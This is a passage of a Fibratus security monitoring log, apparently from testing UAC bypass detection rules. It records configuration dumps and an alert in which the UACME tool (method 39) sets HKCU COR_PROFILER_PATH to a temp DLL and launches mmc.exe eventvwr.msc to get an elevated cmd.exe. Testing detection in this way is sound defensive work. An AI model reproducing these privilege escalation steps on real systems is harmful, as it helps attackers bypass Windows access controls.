..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-audit-api=>true enable-vamap=>true stack-enrichment=>true enable-net=>true min-buffers=>16 buffer-size=>512 enable-image=>true enable-fileio=>true enable-handle=>false enable-registry=>true flush-interval=>1s enable-dns=>false enable-thread=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-size=>100 max-backups=>15 formatter=>text max-age=>0] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ timeout=>5s bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] enabled=>false trace-log=>false template-name=>fibratus sniff=>false index-name=>fibratus healthcheck=>true flush-period=>1s] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false delivery-mode=>transient exchange-type=>topic passive=>false timeout=>5s routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ durable=>false] http=>[ tls-insecure-skip-verify=>false serializer=>json method=>POST enable-gzip=>false timeout=>5s endpoints=>[] enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-files=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:02:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:02:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:03:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:03:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:03:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:03:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:03:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:03:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:03:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:03:53+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:03:53+01:00 level=info msg=bootstrapping with pid 4356. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:03:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] use-template=>true port=>25 content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false enable-handle=>false enable-thread=>true enable-threadpool=>false enable-net=>true max-buffers=>36 enable-vamap=>true enable-registry=>true buffer-size=>512 enable-fileio=>true enable-audit-api=>true flush-interval=>1s enable-mem=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-image=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 level=>info max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ elasticsearch=>[ flush-period=>1s index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck=>true healthcheck-interval=>10s template-name=>fibratus sniff=>false trace-log=>false healthcheck-timeout=>5s bulk-workers=>1 enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false enable-gzip=>false serializer=>json endpoints=>[] tls-insecure-skip-verify=>false method=>POST timeout=>5s] amqp=>[ delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false durable=>false enabled=>false exchange=>fibratus vhost=>/ passive=>false]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false skip-files=>false skip-registry=>false enabled=>false excluded-files=>[] skip-mmaps=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:03:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:03:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:04:00+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 37040 + Pid: 17376 + Tid: 10124 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:03:58.6132177 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878d5123d0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 17376 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 37491 + Pid: 2784 + Tid: 936 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:03:59.2596085 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 24e2cd000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080019f5080, name➜ cmd.exe, pid➜ 1532, ppid➜ 2784, real_ppid➜ 2784, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:03:59.2595602 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 2784 + Ppid: 17376 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:04:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:04:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:04:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:06:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:06:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:06:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:06:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:06:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:06:29+01:00 level=info msg=bootstrapping with pid 14964. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:06:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true enable-mem=>true enable-threadpool=>false enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-audit-api=>true max-buffers=>36 enable-net=>true flush-interval=>1s enable-fileio=>true enable-thread=>true enable-handle=>false min-buffers=>16 enable-registry=>true stack-enrichment=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 formatter=>text max-backups=>15 log-stdout=>true level=>info] + output ......................... [ http=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false method=>POST enable-gzip=>false serializer=>json endpoints=>[]] amqp=>[ durable=>false passive=>false url=>amqp://localhost:5672 delivery-mode=>transient exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false vhost=>/ routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ template-name=>fibratus healthcheck-timeout=>5s enabled=>false timeout=>5s index-name=>fibratus bulk-workers=>1 flush-period=>1s sniff=>false trace-log=>false healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-files=>false skip-mmaps=>false enabled=>false skip-registry=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:06:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:06:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:07:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:07:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:07:48+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:15:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:15:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:15:12+01:00 level=info msg=rules compile summary: + HasProcEvents: false + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:15:12+01:00 level=info msg=bootstrapping with pid 3764. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:15:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-audit-api=>true enable-handle=>false enable-dns=>false flush-interval=>1s enable-registry=>true enable-mem=>true buffer-size=>512 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true min-buffers=>16 max-buffers=>36 enable-image=>true enable-net=>true enable-threadpool=>false enable-vamap=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-size=>100 log-stdout=>true formatter=>text max-age=>0 level=>info] + output ......................... [ console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ timeout=>5s routing-key=>fibratus delivery-mode=>transient enabled=>false exchange=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 passive=>false vhost=>/ durable=>false exchange-type=>topic] elasticsearch=>[ trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s enabled=>false healthcheck-interval=>10s flush-period=>1s healthcheck=>true index-name=>fibratus timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus sniff=>false] http=>[ enabled=>false timeout=>5s serializer=>json endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: 